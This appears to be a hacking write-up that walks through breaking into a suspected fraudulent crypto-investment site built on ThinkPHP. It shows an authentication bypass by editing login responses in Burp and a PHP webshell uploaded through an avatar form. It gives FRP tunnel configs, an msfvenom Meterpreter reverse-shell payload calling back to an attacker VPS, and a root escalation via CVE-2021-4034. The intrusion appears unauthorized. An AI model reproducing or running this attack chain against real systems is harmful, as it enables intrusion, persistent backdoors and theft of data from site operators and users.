Initial Reconnaissance and Framework Identification

The target platform exhibited several telltale signs of poor security implementation. The application lacked CDN protection and was built using ThinkPHP framework, which immediately suggested potential attack vectors.

Initial automated vulnerability scanning yielded no significant results, indicating that common exploits were either patched or the platform required manual testing approaches.

Administrative Panel Discovery

Accessing the administrative interface proved straightforward - appending /admin to the base URL revealed an open management console. The platform utilized an open-source CMS without implementing basic security measures like CAPTCHA protection.

Authentication Bypass via Proxy Interception

To conduct credential enumeration, proxy configuration was established:

• Firefox proxy settings configured to 127.0.0.1:8081
• Burp Suite listener set to port 8081 with interception enabled

Upon intercepting login attempts, the request was forwarded to Repeater for analysis. The application's response behavior indicated:

• Invalid user responses returned status code 1
• Valid user detection could potentially bypass authentication controls

Modifying the response code from 1 to 0 in intercepted packets demonstrated a client-side validation flaw, allowing unauthorized access to the administrative dashboard.

File Upload Vulnerability Exploitation

Exploring potential upload vectors led to the profile management section. The avatar upload functionality presented an opportunity for arbitrary file execution:

1. Uploaded a legitimate JPG image
2. Intercepted the upload request using Burp
3. Modified the Content-Type header from image/jpeg to application/php
4. Replaced image content with PHP webshell payload

The server accepted the modified file, creating a persistent backdoor accessible through the web interface.

Establishing Reverse Shell Connection

To escalate access and acheive system-level control, external tunneling was implemented using FRP (Fast Reverse Proxy):

Server Configuration

# FRP server configuration on VPS
[common]
bind_port = 7000

Client Setup

# Kali Linux client configuration
[common]
server_addr = [VPS_IP]
server_port = 7000

[web_proxy]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 8000

Payload Generation

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[VPS_IP] LPORT=8000 -f elf > payload.elf

The generated payload was uploaded to /var/www/html/ directory and permissions set to 777 for execution.

Metasploit Handler Configuration

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 6666
exploit

Executing the payload on the target system established a Meterpreter session successfully.

Privilege Escalation Process

Using the local exploit suggester module identified potential escalation vectors:

run post/multi/recon/local_exploit_suggester

CVE-2021-4034 was identified as a viable escalation path. Implementation involved:

# Upload exploitation script to temporary directory
upload /home/kali/exploits/cve-2021-4034 /tmp/

# Navigate to working directory
cd /tmp

# Compile and execute exploit
make
cmod 777 cve-2021-4034
./cve-2021-4034

The exploit successfully elevated privileges to root access.

Data Analysis and Findings

Database configuration files revealed connection details, exposing the underlying financial operations. Analysis showed minimal legitimate transactions, with most accounts showing zero balance activity. A single high-value account containing 400,000 units appeared to belong to the platform administrators.

Attempts to access withdrawal functions consistently failed with "account anomaly" error messages, confirming the platform's fraudulent nature. Associated communication channels contained numerous complaints from users unable to withdraw funds.

Security Conclusion

This assessment revealed multiple critical vulnerabilities including authentication bypass, insecure file uploads, and privilege escalation opportunities. The platform's design demonstrates clear characteristics of a fraudulent digital asset scheme where user withdrawals are systematically blocked.